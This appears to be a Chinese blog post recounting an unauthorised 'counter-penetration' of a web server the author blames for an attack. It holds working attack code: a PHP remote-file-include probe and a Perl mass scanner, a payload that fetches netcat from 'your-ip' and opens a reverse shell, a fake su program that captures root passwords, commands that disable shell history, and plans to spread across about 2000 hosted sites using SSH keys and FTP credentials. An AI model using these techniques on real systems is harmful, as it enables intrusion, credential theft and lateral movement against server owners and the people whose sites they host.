zoukankan      html  css  js  c++  java
  • 渗透1

    一、 起因

    一日,IDS发来警报,apache受到攻击。虽然没有让它得逞,可这事不能这么就算了。我得看看是哪路‘神仙’敢在太岁头上动土。

    二、 反击

    根据对来源IP的检测,仅开放了22、80端口,可见对方也是一台web服务器,这么说来很可能是跳板。不管怎么说先拿下它!

    通常一台web服务器会有多个虚拟空间存在,基本上难以保证每个网站代码都是安全的,所以对于那些带有多个网站的服务器,想得到webshell几乎是很容易的事。

    1. 刺探

    对于网站的信息刺探当然利用google。

    先到www.myipneighbors.com查询此服务器IP对应的域名;

    再利用google搜索inurl:domain.com,把获取到的页面进行逐个检查。

    可这个IP对应的域名实在是太多了。根据来至此IP的攻击手段,它似乎是在寻找RFI(remote file include)漏洞。OK,如果此服务器是跳板,很可能也是因RFI漏洞被攻击得手的。那我们就从RFI漏洞着手。

    根据google搜集到的服务器所有url放到一个文本文件中,下面我们通过程序来快速检测这些链接。废话不多说,上代码:

    1. Rfi.txt

    这个其实是php代码,通过此代码来测试目标网站php脚本是否会执行此代码。

    <?php

    //通过php的unpack函数,如果页面输出2a73637266637874392a则表明php代码被执行了!

    $pcode=unpack('H*','*scrfcxt9*');

    echo $pcode[1];

    // phpinfo();

    echo '<br>';

    //通过执行命令ls /et*/pas*d如果返回/etc/passwd则认为php代码能执行系统命令

    echo execute("ls /et*/pas*d");

    //这里借用了phpspy的代码,自己懒得写了,也就是说挨个调用php执行系统命令的函数,如果任意一个函数成功则使用它执行。

    function execute($cfe) {

    $res = '';

    if ($cfe) {

    if(function_exists('exec')) {

    @
    exec($cfe,$res);

    $res = join("\n",$res);

    }
    elseif(function_exists('shell_exec')) {

    $res = @shell_exec($cfe);

    }
    elseif(function_exists('system')) {

    @
    ob_start();

    @
    system($cfe);

    $res = @ob_get_contents();

    @
    ob_end_clean();

    }
    elseif(function_exists('passthru')) {

    @
    ob_start();

    @
    passthru($cfe);

    $res = @ob_get_contents();

    @
    ob_end_clean();

    }
    elseif(@is_resource($f = @popen($cfe,"r"))) {

    $res = '';

    while(!@feof($f)) {

    $res .= @fread($f,1024);

    }

    @
    pclose($f);

    }

    }

    return $res;

    }

    ?>


    2. Rfiscan.pl

    这是批量检测代码,便于快速定位漏洞url。

    #!/usr/bin/perl -w

    use LWP::Simple; #使用lwp来获取url内容,进行判断

    use Parallel::ForkManager; #使用forkmanager进行多线程快速执行


    $
    |=1;


    my $urlfile=shift||die 'need list!';

    my @urllist;

    my $Forkno=100;

    my $count=0;

    #设置远程包含文件位置

    my $phpurl=’http://www.mysite.com/rfc.txt?’;

    my $stime=time;

    #打开url列表文件

    open(URLL,"$urlfile") or die "$!";

    #循环读取,并添加到数组

    while(<URLL>)

    {

    chomp($_);

    push(@urllist,$_);

    }

    my $allurl=scalar(@urllist);

    close URLL;

    #打开日志文件句柄

    open(SLOG,"+>>$urlfile.log") or die "$!";

    #设置最大线程数

    my $forkm = new Parallel::ForkManager($Forkno);

    #循环读取数组,并把url作为参数执行检测过程

    for(@urllist)

    {

    chomp($_);

    print "[".$count++."/$allurl]\n";

    $forkm->start and next; # do the fork



    my $rurl="$_"." $phpurl ";

    my $urlre;

    my $smsg="";

    $smsg.="URL=$rurl\n----------------\n";

    if($urlre=get($rurl))

    {

    if($urlre=~/2a73637266637874392a/){$smsg.="[run php code success]\t";}

    if($urlre=~/\/etc\/passwd/){$smsg.="[run command success]\t";}

    else{$smsg.="[all action failed]\t";}

    }


    else

    {

    $smsg.="[get Fail!] \t";

    }

    sleep 1;

    print "$smsg\n-------------------------------\n";

    print SLOG "$smsg\n-------------------------------\n";



    $forkm->finish; # do the exit in the child process

    }

    $forkm->wait_all_children;


    sleep 1;

    print "$smsg\n-------------------------------\n";

    print SLOG "$smsg\n-------------------------------\n";

    }


    close SLOG;

    print "-"x75,"\n";

    my $etime=time;


    my $ttime=$etime-$stime;

    print "All done in".stime($ttime)."\n";


    sub stime

    {

    my $stime=shift;

    my $hour=int($stime/(60*60));

    my $minute=int(($stime-($hour*60*60))/60);

    my $second=$stime-$hour*60*60-$minute*60;

    return ("$hour hours $minute mins $second secs");

    }

    2. 利用漏洞

    1) 接下来就是信息的收集和扫描

    把从google搜索到的url保存到urllist.txt。

    [Image: 12.png]

    图1 漏洞检测

    从大量的url中,利用我们的工具逐个检测。

    千辛万苦,N多个url终于查到一个RFI漏洞,实在不容易啊。

    [Image: 13.png]


    图2 存在漏洞的url

    注意图中的‘2a73637266637874392a’和‘/etc/passwd’,根据我们的代码这表示此服务器既存在RFI漏洞且php代码能执行系统命令。

    2) 接下来呢,我们就要获取shell。

    使用以下php代码

    PHP Code:
    <?php

    system
    ('wget http://your-ip/netcat -O /tmp/ntc 2>&1');

    system('chmod +x /tmp/ntc 2>&1;/tmp/ntc your-ip 8080 –e /bin/sh 2>&1');

    //system('wget http://your-ip/phpspy.php');

    ?>
    相信大家已经看明白了,当使用RFI漏洞访问我们的php页面,并执行其中的代码时,就会下载一个nc到服务器的tmp目录,并反向连接到你的IP得到一个/bin/sh的shell;或者先下载一个php webshell上去,再慢慢玩咯。

    3. Got root

    1) 获取普通用户权限

    不急,咱们慢慢检查服务器所有可以看的文件吧。哇,Root目录居然可以浏览,当然是不可写的了,多数文件也不可读。进入到一个.mc目录,发现 filepos文件可读,哈哈终于找到好东西了。Mcedit是一个debian系统下的文本编辑器,MC可通过FTP访问文件。按 username:pa​sswd@hostname.domainname格式输入URL,远程文件目录就会以本地目录的方式显示出来。通过mc编辑的 文件会留下历史记录到/root/.mc/filepos。在这文件里我就发现了ftp帐户和密码。用这个账户通过ssh登陆,成功了。

    2) 提权

    接下来就是提权了,大家可能说那么多0day随便一提就好了,可惜我在这次渗透时0day还没出来呢,怎么办?这下就要用到一些‘卑鄙’的猥琐手法了。

    我们通过history观察到,管理员常常通过这个账户su到root,我们可以通过替换su来获取root密码。Fakesu.c代码如下

    #include <stdio.h>

    #include
    <stdlib.h>

    #include
    <unistd.h>


    main(
    int argc, char *argv[]){


    FILE
    *fp;

    char *user;

    char *pass;

    char filex[100];

    char clean[100];

    //指定密码记录文件位置

    sprintf(filex,
    "/var/tmp/.pwds");

    //指定获取到密码之后删除我们的痕迹

    sprintf(clean,
    "rm -rf /var/tmp/.su;mv -f ~/.wgetrc ~/.bash_profile");

    if(argc==1) user="root";

    if(argc==2) user=argv[1];

    if(argc>2){

    if(strcmp(argv[1], "-l")==0)

    user
    =argv[2];

    else user=argv[1];}

    //从用户输入中获取密码

    fprintf(stdout,
    "Password: ");

    pass
    =getpass ("");

    system(
    "sleep 3");

    //欺骗用户的提示语句

    fprintf(stdout,
    "su: Authentication failure\nSorry.\n");

    //把获取到的root密码写入记录文件

    if ((fp=fopen(filex,"w")) != NULL)

    {

    fprintf(fp,
    "%s:%s\n", user, pass);

    fclose(fp);

    }

    //获取到密码之后,删除我们的记录程序并把su链接到真实程序

    system(clean);

    system(
    "rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

    }


    我们下好‘绊马索’之后,就要等待下次管理员登陆并su了,耐心点。

    admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

    admin@host:~$ mv .su /var/tmp/.su

    admin@host:~$ cp .bash_profile .wgetrc

    admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile

    admin@host:~$ logout


    这里要介绍一下alias命令:alias(中文称为“别名”)允许使用更加简短的名称来重新定义 Linux 中的 Shell 命令,从而简化命令行的输入。可是简单就意味着会出现安全问题,上面我们就利用把su指向记录程序/var/tmp/.su,提取了root密码。这是 linux黑客们常用的手法之一。

    毫无悬念的,两天之后,得到了root的密码!

    4. 分析

    但是别忘记了,我们的使命是追踪来犯之敌。

    于是我们就分析系统日志。

    #先把HISTFILE变量设置为/dev/null,避免我们的命令被记录

    root@host:~#export HISTFILE=/dev/null

    #rfi攻击会在日志中留下带http或ftp的请求记录,这里能查到其他攻击者

    root@host:~#Grep http /var/log/access_log

    #检查对应的攻击者IP是否曾经登陆过系统

    root@host:~#grep hackerip auth.log


    确实此服务器曾经被其他人攻击过,看来这是个跳板。

    三、 扩大战果

    此IDC一共有6台服务器,其他服务器或许也被攻击过,其他服务器也应该检查一下。既然我们已经打入内部,下面的事情就好办多了。这里其实我们有两个办法来搞定服务器集群​权限。

    1. 通过ssh key认证控制其他服务器

    在root目录下看到了.ssh目录,里面保存着公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa。通过history记录里看到 root经常通过scp这样在各服务器之间复制文件,如果其他服务器ssh允许使用Public Key不用密码登陆的话,其他服务器已经可以控制了;再者既然能scp文件的话,替换对方服务器重要文件,咱们也可以有N多方式搞定的。

    2. 通过各服务器的web跳转渗透

    得到root之后,从虚拟空间管理页面目录发现了mysql数据库账户。

    mysql> select count(*) from domains;

    +----------+

    | count(*) |

    +----------+

    | 2112 |

    +----------+

    1 row in set (0.00 sec)


    2000个网站的信息都在这里,不用说,先得到ftp密码,传个web上去,然后反弹shell,提权,它的所有服务器都能拿下。这里就不重复叙述了。


    好了,到此我们的反渗透之旅已经达到目的。接下来,给root发封信提醒他服务器的安全问题吧: “hi guy I was root your box ……” 。
  • 相关阅读:
    java构造函数修饰符
    Tomcat启动时,会遇到IOException while loading persisted sessions: java.io.EOFException
    编码的进阶(重要)
    python格式化输出,循环与输出
    深浅copy
    python基本数据类型三之集合
    python机制与小数据池
    Spring实现基本思路
    内功心法-享元模式
    MAC 忘记Homebrew安装的mysql密码
  • 原文地址:https://www.cnblogs.com/zpino/p/1982376.html
Copyright © 2011-2022 走看看